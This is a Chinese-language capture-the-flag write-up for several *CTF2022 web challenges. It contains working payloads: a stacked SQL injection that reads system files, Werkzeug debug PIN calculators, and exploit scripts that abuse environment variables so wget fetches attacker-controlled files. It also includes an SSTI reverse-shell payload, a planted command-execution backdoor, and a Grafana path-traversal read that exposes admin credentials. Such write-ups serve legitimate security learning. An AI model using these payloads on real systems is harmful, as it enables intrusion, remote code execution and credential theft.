前言 给学校做了攻防演练,耽搁了比赛,赛后复现下
官方题目及wp:starctf2022: Official source code and writeups of *CTF2022
oh-my-notepro
发现sql注入,可以堆叠注入
生成要素
username, 通过getpass.getuser()读取,通过文件读取/etc/passwd modname, 通过getattr(mod,“file”,None)读取,默认值为flask.app appname, 通过getattr(app,“name”,type(app).name)读取,默认值为Flask moddir, 在flask库下app.py的绝对路径, 通过报错泄露 uuidnode, 当前网络的mac地址的十进制数, 通过文件/sys/class/net/eth0/address读取 machine_id, 由三个合并(docker就后两个): 1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
通过sql注入读文件,load_file受到secure_file限制,利用 load data local infile 插到表里,再union读取
//设置group_concat长度 ;SET SESSION group_concat_max_len = 102400;CREATE TABLE y0ng (code LONGTEXT);load data local infile "/etc/machine-id" into table y0ng FIELDS TERMINATED BY '';%23 'union select 1,2,3,4,(select group_concat(code) from y0ng)%23
python3.8算pin使用sha1加密
import hashlibfrom itertools import chainprobably_public_bits = [ 'ctf' 'flask.app' , 'Flask' , '/usr/local/lib/python3.8/site-packages/flask/app.py' ] private_bits = [ '636256807551824' , 'e86c4117-eed3-4a37-82bc-b5fa47a88e0b55f9ebbe1473751b9884fb19cbf4299adf5f9bbe231cc0d737df87db308bea0b' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print(rv)
这道题用**/etc/machine-id + /proc/self/cgroup** 算出了 pin,wp给出的解释为
Werkzeug的更新给pin码的计算方式带来了变化,新版本是从/etc/machine-id、/proc/sys/kernel/random/boot_id中读到一个值后立即break,然后和/proc/self/cgroup中的id值拼接,使用拼接的值来计算pin码
FLAG:*ctf{exploit_Update_with_Version}
python3.6之前
import hashlibfrom itertools import chainprobably_public_bits = [ 'flaskweb' 'flask.app' , 'Flask' , '/usr/local/lib/python3.7/site-packages/flask/app.py' ] private_bits = [ '25214234362297' , '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print(rv)
oh-my-lotto 分为了两个部分
先看lotto的代码,生成20个40以内的随机数,然后存到 lotto_result.txt
再看app下,/result 返回/app/lotto_result.txt的内容
/forecast 通过上传文件保存内容到/app/guess/forecast.txt
/lotto下是主要的代码
@app.route("/lotto" , methods=['GET' , 'POST' ] ) def lotto (): message = '' flag = os.environ['flag' ] if request.method == 'GET' : return render_template('lotto.html' ) elif request.method == 'POST' : lotto_key = request.form.get('lotto_key' ) or '' lotto_value = request.form.get('lotto_value' ) or '' try : lotto_key = lotto_key.upper() except Exception as e: print(e) message = 'Lotto Error!' return render_template('lotto.html' , message=message) if safe_check(lotto_key): os.environ[lotto_key] = lotto_value try : os.system('wget --content-disposition -N lotto' ) if os.path.exists("/app/lotto_result.txt" ): lotto_result = open ("/app/lotto_result.txt" , 'rb' ).read() else : lotto_result = 'result' if os.path.exists("/app/guess/forecast.txt" ): forecast = open ("/app/guess/forecast.txt" , 'rb' ).read() else : forecast = 'forecast' if forecast == lotto_result: return flag else : message = 'Sorry forecast failed, maybe lucky next time!' return render_template('lotto.html' , message=message) except Exception as e: print("lotto error: " , e) message = 'Lotto Error!' return render_template('lotto.html' , message=message) else : message = 'NO NO NO, JUST LOTTO!' return render_template('lotto.html' , message=message)
安全检查函数为
def safe_check (s ): if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: return False return True
非预期一 这里就可以围绕 wget 做文章,因为我们可控一个os.environ,整体思路就是控制 PATH
正常向/lotto post key-value,然后正常wget到 lotto_result.txt
访问/result 获取到 lotto_result.txt 内容,再将内容上传为forecast.txt
向/lotto post key-value,使wget失败,这样内容比较相等,获得flag
exp.py
import requestsurl = 'http://1.116.110.61:8880/' requests.post(url+'lotto' ,data={"lotto_key" :"1" ,"lotto_value" :"2" }) r = requests.get(url+'result' ).text.replace(" " ,"" ).split("<p>" )[-1 ].split("</p>" )[0 ] with open ('res.txt' ,'w+' ,newline='' ) as f: f.writelines(r) requests.post(url+'forecast' ,files={'file' :open ('res.txt' ,'rb' )}) r = requests.post(url+'lotto' ,data={"lotto_key" :"PATH" ,"lotto_value" :"/" }) print(r.text)
这里有个细节,上传的文件需要去除 \r ,所以使用python3写入文件的时候使用 newline
非预期二 利用 WGETRC 设置 http_proxy 代理到自己服务器,下载一个和 forecast 一样的文件,可以获得flag。
这个非预期去翻找了wget的文档,这里说如果设置了环境变量 wget 会去加载该文件
然后就找到了wgetrc的一些命令,http_proxy,使用代理,这样可以使用 文件上传+环境变量可控 来使用这个http_proxy
上传forecast.txt
http_proxy=http://1.116.110.61:80
服务器测试一下
服务器上起一个flask,这样就控制了返回内容
from flask import Flask, make_responseimport secretsapp = Flask(__name__) @app.route("/" ) def index (): lotto = [] for i in range (1 , 20 ): n = str (secrets.randbelow(40 )) lotto.append(n) r = '\n' .join(lotto) r = 'http_proxy=http://1.116.110.61:80' response = make_response(r) response.headers['Content-Type' ] = 'text/plain' response.headers['Content-Disposition' ] = 'attachment; filename=lotto_result.txt' return response if __name__ == "__main__" : app.run(debug=True , host='0.0.0.0' , port=80 )
然后设置环境变量
lotto_key='WGETRC' lotto_value='/app/guess/forecast.txt'
flask接受:
oh-my-lotto-revenge 非预期一 利用 WGETRC 配合 http_proxy 和 output_document ,写入SSTI到templates目录,利用SSTI完成RCE。
output_document 是控制写入的目录
上传forecast.txt
http_proxy=http://1.116.110.61:80 output_document = templates/index.html
然后设置返回为SSTI的payload即可
还是起一个flask
from flask import Flask, make_responseimport secretsapp = Flask(__name__) @app.route("/" ) def index (): lotto = [] for i in range (1 , 20 ): n = str (secrets.randbelow(40 )) lotto.append(n) r = '\n' .join(lotto) r = "{{config.__class__.__init__.__globals__['os'].popen('反弹shell').read()}}" response = make_response(r) response.headers['Content-Type' ] = 'text/plain' response.headers['Content-Disposition' ] = 'attachment; filename=lotto_result.txt' return response if __name__ == "__main__" : app.run(debug=True , host='0.0.0.0' , port=80 )
设置环境变量
lotto_key='WGETRC' lotto_value='/app/guess/forecast.txt'
非预期二 利用 WGETRC 配合 http_proxy 和 output_document ,覆盖本地的wget应用,然后利用wget完成RCE。
预期解 题目开启debug,一些常见的环境变量利用方法都已经被禁止,通过翻阅Linux环境变量文档 http://www.scratchbox.org/documentation/general/tutorials/glibcenv.html 在Network Settings中发现有 HOSTALIASES 可以设置shell的hosts加载文件,利用 /forecast 路由可以上传待加载的hosts文件,将 wget –content-disposition -N lotto 发向lotto的请求转发到自己的域名
例如如下hosts文件
# hosts lotto mydomain.com
然后返回内容覆盖为app.py
from flask import Flask, request, make_responseimport mimetypesapp = Flask(__name__) @app.route("/" ) def index (): r = ''' from flask import Flask,request import os app = Flask(__name__) @app.route("/test", methods=['GET']) def test(): a = request.args.get('a') a = os.popen(a) a = a.read() return str(a) if __name__ == "__main__": app.run(debug=True,host='0.0.0.0', port=8080) ''' response = make_response(r) response.headers['Content-Type' ] = 'text/plain' response.headers['Content-Disposition' ] = 'attachment; filename=app.py' return response if __name__ == "__main__" : app.run(debug=True ,host='0.0.0.0' , port=8080 )
预期wp提到 gunicorn
因为题目使用gunicorn部署,app.py 在改变的情况下并不会实时加载。但gunicorn使用一种 pre-forked worker
的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的POC如下
timeout 50 nc ip 53000 & timeout 50 nc ip 53000 & timeout 50 nc ip 53000
exp
import requestsimport osimport timeimport subprocesss = requests.session() base_url = 'http://124.223.208.221:53000/' url_upload = base_url + 'forecast' proxies = { 'http' : 'http://127.0.0.1:8080' } r = s.post(url=url_upload, proxies=proxies, files={"file" :("hosts" , open ('hosts' , 'rb' ))}) print(r.text) url_env = base_url + 'lotto' data = { 'lotto_key' : 'HOSTALIASES' , 'lotto_value' : '/app/guess/forecast.txt' } r = s.post(url=url_env, data=data) subprocess.Popen('./exploit.sh' , shell=True ) for i in range (1 , 53 ): print(i) time.sleep(1 ) while True : url_shell = base_url + 'test?a=env' print(url_shell) r = s.get(url_shell) print(r.text) if '*ctf' in r.text: print(r.text) break
oh-my-grafana 之前的CVE-2021-43798,任意文件读,读到配置文件
/public/plugins/alertlist/../../../../../../../../../../../../../etc/grafana/grafana.ini
然后就找关键字
# default admin user, created on startup admin_user = admin # default admin password, can be changed before first start of grafana, or in profile settings admin_password = 5f989714e132c9b04d4807dafeb10ade # Either "mysql", "postgres" or "sqlite3", it's your choice ;type = mysql ;host = mysql:3306 ;name = grafana ;user = grafana # If the password contains # or ; you have to wrap it with triple quotes. Ex """#password;""" ;password = grafana
登录执行sql语句即可